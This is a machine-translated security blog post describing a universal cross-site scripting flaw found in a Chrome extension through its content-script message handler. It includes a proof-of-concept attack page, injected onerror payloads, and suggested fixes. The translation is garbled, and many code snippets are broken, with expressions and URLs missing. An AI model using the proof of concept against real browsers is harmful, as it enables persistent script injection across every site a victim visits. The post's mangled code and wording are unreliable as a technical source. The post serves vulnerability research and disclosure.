research on chrome extended security: a mining experience of uxss

Posted by santillano at 2020-04-10

This original article will participate in the double fee activity. The estimated fee is 600 yuan. Please click here for the activity link


I'd like to change the title to < chrome security research: a mining experience of uxss > to cheat a wave of clicks. But after all, it's actually the problem of expansion. Let's be honest and write "expansion".

This is a vulnerability I dug before the Spring Festival. I probably grabbed the Chrome extension of top400. I wrote a script to delete and select some of the issues I care about, and then audit one by one. This vulnerability is one of the uxss vulnerabilities dug when you want to generate uxss. I think it's more typical. It involves content_scripts, background scripts and other features of Chrome extension. It's relatively interesting and has a little more pits.

Since the details of the plug-in cannot be disclosed, I will extract the source code related to the plug-in and vulnerability, remove some keywords with company name, and put them on GitHub:

Git clone to local, open chrome: / / extensions /, open "developer mode", click "load the extracted extension program..." Button, select the content > scripts > uxss folder.

git clone


Manifest.json is the manifest file of Chrome extension. When chrome parses the extension, it will check whether the content of the file conforms to the specification. Generally speaking, audit starts from here:

{ "name": "content_script_uxss_example", "description": "一个由原型修改而来会产生UXSS的Chrome插件", "version": "1.0", "manifest_version": 2, "background": { "scripts": [ "/core/js/jquery.min.js", "/core/js/background.js" ] }, "author": "[email protected]", "content_scripts": [ { "matches": [ "http://*/*", "https://*/*", "file:///*/*" ], "exclude_matches": [], "js": [ "/core/js/jquery.min.js", "/core/js/content_script.js" ], "run_at": "document_end", "all_frames": true } ] }

The focus is on background and content ENU scripts:

command + Q page "background":{"page": "background.html"} chrome-extension://{扩展ID}/background.html chrome-extension://{扩展ID}/_generated_background_page.html <all_urls>

Background and content_scripts and the original web pages we run are not in the same runtime context. The variables defined in them are not accessible to each other, and the APIs that each runtime can access are different. However, you can use window.addeventlistener to add events to the window of the original page. You can operate the DOM structure through events. The interaction between background and content  scripts is often performed by using chrome.extension.onrequest.addlistener or chrome.runtime.onmessage.addlistener.

window.addEventListener chrome.extension.onRequest.addListener chrome.runtime.onMessage.addListener


At first, I noticed that the code in line 68 of / core / JS / content_script.js:

if (location.href.indexOf("?") > 0) { var a = location.href.split("?")[1].split("&"); $(a).each(function() { var b = this.split("="); query[b[0]] = b[1] }) }

Generally, the jQuery version used by plug-ins is not updated frequently. The version of jQuery used by the plug-in is v1.7.1, which has the following vulnerabilities:

The value of a parameter is obviously to get the get request parameter of the current URL. If it uses directly, then the URL code will be used in chrome, which is difficult to use. But this writing method here can use hash to bypass. Setting a parameter such as "< img SRC = @ oneror = prompt()" > can make a = ["< img SRC = @ oneror = prompt()"], For example, HTTPS: / / COM / × < img SRC = @ onerror = prompt() >. #?<img [email protected] onerror=prompt()> a=["<img [email protected] onerror=prompt()>"]<img [email protected] onerror=prompt()>

However, when the selector passed in by jQuery is an array, the function does not trigger the vulnerability, such as $(['< img SRC = 1 onerror = prompt() >']). And then I found a more interesting PostMessage interface, so I turned my attention to the following code.

$(['<img src=1 onerror=prompt()>'])

Message event

It is not uncommon to use message events in the extension. In the extension of top400 I crawled, nearly 200 plug-ins added message listening events to the window in content script. In this example, content script.js × L3:

window.addEventListener("message", function(a) { if ( != undefined) { plugdata =; if (plugdata.Action != undefined) if (plugdata.Action == "GETCOOKIE") chrome.extension.sendRequest(plugdata, function() {}); else if (plugdata.Action != "VERSION") { if (plugdata.background == undefined || plugdata.background == false) $("#divDetail").html("<br/><center>notifications with some message.</center>"); chrome.extension.sendRequest(plugdata, function() {}) } } });

Here is the value passed in by the first parameter of PostMessage. For example, we use WW = (' '); ww.postmessage ("AAAAA", "*"); to send a message, then this is equal to "AAAAA".

ww ='');ww.postMessage("aaaaa", "*");

It can be found that after judging the data.action, this code sends out the data value with chrome.extension.sendrequest. This is also the logic that often appears in browser plug-ins, because normal HTML pages cannot access the chrome.extension API. If you need to send information to the callback function of chrome.extension.onrequest.addlistener or chrome.runtime.onmessage.addlistener, it is also a common method to make a transfer in content_script.

chrome.extension.onRequest.addListener chrome.runtime.onMessage.addListener

Note that content script has a domxss output function HTML:

html chrome.extension.onRequest.addListener(function(a, b, c) { switch (a.Action) { case "FAREResult": case "ONRESULT": typeof a.Data.Data === "string" ? $("#IRData").val(a.Data.Data) : $("#IRData").val(JSON.stringify(a.Data.Data)); $("#Message").html(a.Data.Message); $("#Command").html(a.Data.Action); break; } });

But here we need to include some conditions in the DOM structure of the original page, which must have HTML elements with two IDs of ා message and ා command, which is obviously not what we want. If the page meets this condition, we can directly use WW = window. Open (' '); ww. PostMessage ({"action": "onresult", "message": "< img SRC = 1 onerror = prompt()"}, "*"); to cause XSS attacks across the Google domain.

ww ='');ww.postMessage({"Action":"ONRESULT", "Message":"<img src=1 onerror=prompt()>"}, "*");

The performaction function has one such output, $("body"). HTML (b), which is obviously very general.

$("body").html(b) function PerformAction() { if (plugdata != null) { var a = plugdata.Action; switch (plugdata.Method) { case "POST": $.post(plugdata.URL,, function(b) { if (plugdata.SetBodyText == true) try { $("body").html(b) } catch (c) {}

But the original definition of plugdata is null, how to make it not null entry condition?

$(document).ready(function() { ... $("#Version").html("5.10"); chrome.extension.sendRequest({ Action: "ONLOAD" }, function(b) { plugdata = b; PerformAction() }); });

It can be found that there is an assignment before the performaction call. You can use {action: "onload"} to assign it, and the response to {action: "onload"} is in background.js:

var RequestQ = [], plugdata = null, IRTab = null, IRData = null, requestFilter = { urls: ["<all_urls>"] }; chrome.extension.onRequest.addListener(function(a, b, c) { $.extend(a, { TabID: }); plugdata = a; switch (a.Action) { case "VERSION": break; case "ONLOAD": c(IRData); break; case "GETFARE": IRData = a; $.extend(a, { RequesterTabID: }); chrome.tabs.getAllInWindow(null, OngetAllInWindow); c({}); break; ......

Here, if you don't know the characteristics of background_page before, you are in despair, because the value assigned to plugdata comes from the callback function C of chrome.extension.onrequest.addlistener, and the parameter of C is irdata is also null, that is to say, plugdata = irdata = null normally. Although I can send {"action": "getface"} to set the value of irdata, it would be awkward if the background  page and content  script are executed every time I refresh the page. Because performaction is executed in $(document). Ready (, I have to ask the page to execute $(document). Ready after a period of time (so that I can post a {"action": "getface"} before performaction, which is not necessary here. (of course, this kind of conditional competition can also be achieved. Let $(document). Ready (there are many methods waiting for a period of time. A script tag with a slower SRC address return is a method).

plugdata = IRData = null $(document).ready( $(document).ready( $(document).ready(

background page

After thinking about the design requirements of the background page, I don't think it should be executed every time I visit the page like content_script. After reading some official documents and writing several demos, the following two points are determined:

The first point makes this vulnerability easier to exploit. The second point makes the payload we wrote not only affect the websites used in the payload, but also trigger the payload in different domains every time we visit a new page before the browser and plug-in restart.


After the idea is clear, we just need to post a {action: "getface", data: {/ / payloadsee the following source}}, set irdata as payload in the data attribute, and refresh the page to execute performaction function again. Performaction will send a post request to plugdata.url, and pass the return to B parameter of $("body"). HTML (b). (reset the SRC of iframe to refresh the page)

{Action: "GETFARE",Data: {//payload看下面源码}} $("body").html(b)

PS. due to master P's note artifact recently, the certificate can't be used. I can only use the certificate I don't have. Baidu belongs to HTTPS. To send Ajax request, the object must also be HTTPS. Access control allow origin and access control allow methods need to be set. Before visiting POC, please visit to authenticate the broken certificate.

If the plug-in has been enabled, open the following link, and cross domain to to execute XSS. And then visit any website payload will be executed.


<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>content script uxss poc</title> </head> <body> <h1>hacking-extensions</h1> <p>source code: <a href=""></a></p> <!-- poc content --> <iframe src="" style="display: none;"></iframe> <script> subframe = frames[0]; data = { Action: "GETFARE", Data: {} } data.Method = "POST"; data.URL = ""; data.SetBodyText = true; = {}; setTimeout('subframe.postMessage(data, "*")', 2000); setTimeout(function(){ document.querySelector('iframe').src = ""; }, 3000); </script> </body> </html>

Video demo

Your browser does not support Video Tags

First, visit'scripts'uxss/poc.html to trigger the vulnerability, and then visit and to prove the second conclusion.


There are many repair methods. The most common one is to limit the source of PostMessage to the current window, such as EVT. Source = = = window. This is the method adopted by most plug-ins, such as the code of react developer tools:

evt.source === window function handleMessageFromPage(evt) { evt.source === window && && "react-devtools-bridge" === && port.postMessage(; }

Of course, this defense mode may also be bypassed and affected by uxss, not mentioned here for the moment.

In fact, the function of this plug-in is only available to some websites, limiting event.origin and only providing the demand to some websites. For example: event. Origin = = = "".

event.origin === ""。

Plug in crawler and others

The selected plug-ins are about 500000 + users (the data is updated to before the Spring Festival of 2018). The number of domestic users is small, so you don't need to worry about the impact.

The crawler used is a part of the project modification left over from the previous research with mushroom students < chrome plug-in probe]. Please refer to the paper: and projects at that time.

Reference resources